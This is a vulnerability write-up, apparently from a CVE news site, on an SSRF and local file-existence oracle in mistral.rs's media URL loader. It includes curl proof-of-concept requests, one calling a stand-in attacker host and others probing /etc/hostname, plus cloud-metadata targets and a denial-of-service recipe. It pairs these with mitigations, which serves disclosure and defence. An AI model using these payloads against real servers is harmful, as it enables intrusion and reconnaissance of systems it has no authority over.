Listen to this Post
The mistral.rs inference server, a Rust-based OpenAI-compatible platform, contains a critical vulnerability in its media loading logic within the `mistralrs-server-core` crate. The flaw resides in the `parse_image_url` and `parse_audio_url` functions located in `mistralrs-server-core/src/util.rs` (lines 45–91). These functions process request-supplied `image_url` and `audio_url` fields from the standard OpenAI chat completion message content without any validation of the target host, IP address, or URL scheme.
When a client sends a chat completion request containing an `image_url` or audio_url, the server extracts the URL string and passes it directly to `parse_image_url` or parse_audio_url. The function first attempts to parse the string as a URL. If parsing succeeds, it proceeds to fetch or open the resource based on the URL scheme. If parsing fails, the function checks whether the string corresponds to an existing local file path via File::open. If the file exists, it constructs a `file://` URL and proceeds to open and read the file contents.
The critical flaw lies in the handling of `http` and `https` schemes. The server uses `reqwest::get` to fetch the URL with no allowlist, no blocking of private, loopback, link-local, or cloud-metadata IP addresses, and no restriction on redirects. This allows an attacker to supply a URL pointing to internal network services or the cloud metadata endpoint (e.g., http://169.254.169.254/`), causing the server to issue requests on the attacker's behalf. This constitutes a Server-Side Request Forgery (SSRF) vulnerability.
Furthermore, the `file` scheme and any bare local path that exists on the server are opened and read without restriction. An attacker can supply a `file://` URL or an absolute path such as `/etc/hostname` to cause the server to attempt to read arbitrary local files. The read bytes are then passed to an image decoder, which fails for non-image files. However, the error message returned to the client differs depending on whether the file exists: an existing file produces a decode error (e.g., "The image format could not be determined"), while a nonexistent path produces a "file not found on server" error. This difference creates a file-existence oracle, allowing an unauthenticated attacker to enumerate files and directories on the server filesystem.
The vulnerability is reachable through the `/v1/chat/completions` endpoint, which is unauthenticated by default. The `parse_audio_url` function (line 91) is identical in behavior, extending the same flaws to audio inputs. The lack of timeouts and size limits in `reqwest::get` and the file-read path also enables denial-of-service conditions, as an attacker can point the server at an unbounded or non-responsive resource. For reference, comparable systems such as vLLM implement `allowed_media_domains` and `allowed_local_media_path` controls, which mistral.rs lacks entirely.
<h2 style="color: blue;">DailyCVE Form</h2>
Platform: mistral.rs
Version: < 0.8.18
Vulnerability: SSRF, File Read
Severity: High 7.2
date: 2026-09-11
<h2 style="color: blue;">Prediction: 2026-09-15</h2>
<h2 style="color: blue;">What Undercode Say</h2>
SSRF probe to attacker-controlled host
curl -X POST http://target:1234/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{
"model":"<vlm>",
"messages":[{"role":"user","content":[
{"type":"image_url","image_url":{"url":"http://ATTACKER/probe"}},
{"type":"text","text":"hi"}]}],
"max_tokens":1
}'
Arbitrary local file open (existing file)
curl -X POST http://target:1234/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{
"model":"<vlm>",
"messages":[{"role":"user","content":[
{"type":"image_url","image_url":{"url":"/etc/hostname"}},
{"type":"text","text":"hi"}]}],
"max_tokens":1
}'
Response: 500, "The image format could not be determined"
File-existence oracle (nonexistent path)
curl -X POST http://target:1234/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{
"model":"<vlm>",
"messages":[{"role":"user","content":[
{"type":"image_url","image_url":{"url":"/nonexistent"}},
{"type":"text","text":"hi"}]}],
"max_tokens":1
}'
Response: 500, "Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server."
// Vulnerable code: mistralrs-server-core/src/util.rs (lines 45-88)
let url = if let Ok(url) = url::Url::parse(url_unparsed) {
url
} else if File::open(url_unparsed).await.is_ok() {
url::Url::from_file_path(std::path::absolute(url_unparsed)?)
} else {
bail!(...)
};
let bytes = if url.scheme() == "http" || url.scheme() == "https" {
reqwest::get(url.clone()).await ... // SSRF: no host/IP/allowlist check
} else if url.scheme() == "file" {
File::open(path).await ... read // arbitrary local file read
} else if url.scheme() == "data" {
... base64 ...
};
DoS via unbounded video fetch (related GHSA-m3wp-48jr-vr4g) ffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \ -c:v libx264 -preset ultrafast -crf 35 manyframes.mp4 Then serve and point image_url/audio_url at it; server extracts every frame
<h2 style="color: blue;">Exploit: (Educational Purposes!)</h2>
An unauthenticated attacker with network access to a default mistral.rs vision or audio deployment can exploit the vulnerability in two primary ways.
SSRF: The attacker crafts a POST request to `/v1/chat/completions` with a malicious `image_url` pointing to an internal service, cloud metadata endpoint, or attacker-controlled redirector. The server fetches the URL during request processing. If the URL redirects tohttp://169.254.169.254/latest/meta-data/`, the server follows the redirect and issues the request to the metadata service. The fetched bytes are passed to a media decoder and are not returned to the attacker, making the SSRF blind; however, the egress to attacker-chosen internal hosts is the usable primitive. This allows probing of internal services, port scanning, and access to cloud metadata credentials in some configurations.
Arbitrary Local File Open with Existence Oracle: The attacker supplies a `file://` URL or a bare absolute/relative path (e.g., /etc/passwd, /etc/hostname, C:\Windows\win.ini). The server attempts to open and read the file. If the file exists and is not a valid image, the response contains an error such as “The image format could not be determined.” If the path does not exist, the response contains “file not found on server.” By comparing these responses, the attacker can enumerate the existence and type of files and directories on the server filesystem. The file contents themselves are not returned, but the oracle provides valuable reconnaissance for lateral movement or further exploitation.
Denial of Service: The attacker points the server at an unbounded or non-responding HTTP server, or a very large local file. The default `reqwest` client has no timeout, and `http_resp.bytes()` reads the entire response body with no size cap. The file branch allocates a buffer of the file’s size before reading. This exhausts memory, disk I/O, or worker threads, causing a denial of service.
Protection: from this CVE
Immediate Mitigation:
- Upgrade `mistralrs-server-core` to version 0.8.18 or later. The fixed version restricts request-supplied media to `http(s)` and `data:` schemes, disables the `file` scheme and bare local path resolution, and implements host/IP validation and redirect controls.
- If immediate upgrade is not possible, restrict outbound network access from the mistral.rs service container to internal subnets and cloud metadata IP ranges using network policies or firewall rules.
- Deploy a Web Application Firewall (WAF) rule to inspect `image_url` and `audio_url` parameters for `file://` schemes, suspicious local file paths (e.g.,
/etc/,C:\), and non-HTTP protocols.
Long-Term Hardening:
- Implement strict allowlists for outbound media domains and block access to private, loopback, link-local, and cloud metadata IP ranges.
- Resolve the host before fetching and pin the connection to the validated IP to prevent DNS rebinding.
- Re-validate or disable redirects for outbound media fetches.
- Cap the read size and enforce timeouts for both HTTP fetches and local file reads.
- Enable authentication on the `/v1/chat/completions` endpoint, as the server is unauthenticated by default.
Impact
An attacker with network access to a default vision or audio deployment can reach internal services and cloud metadata endpoints via SSRF, confirmed end to end. The fetched bytes are consumed by a media decoder and are not returned to the attacker, so the SSRF is blind; however, egress to attacker-chosen internal hosts is the usable primitive. The loader also opens request-supplied `file://` URLs or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory). This provides an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence and enumeration oracle, not content disclosure.
Regarding availability (CVSS A:L), `reqwest::get` uses the default client with no timeout, and `http_resp.bytes()` reads the entire response body with no size cap. An attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The file branch allocates a buffer of the file’s size before reading, so pointing at a large local file has the same effect. The overall CVSS score is 7.2 (High).
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

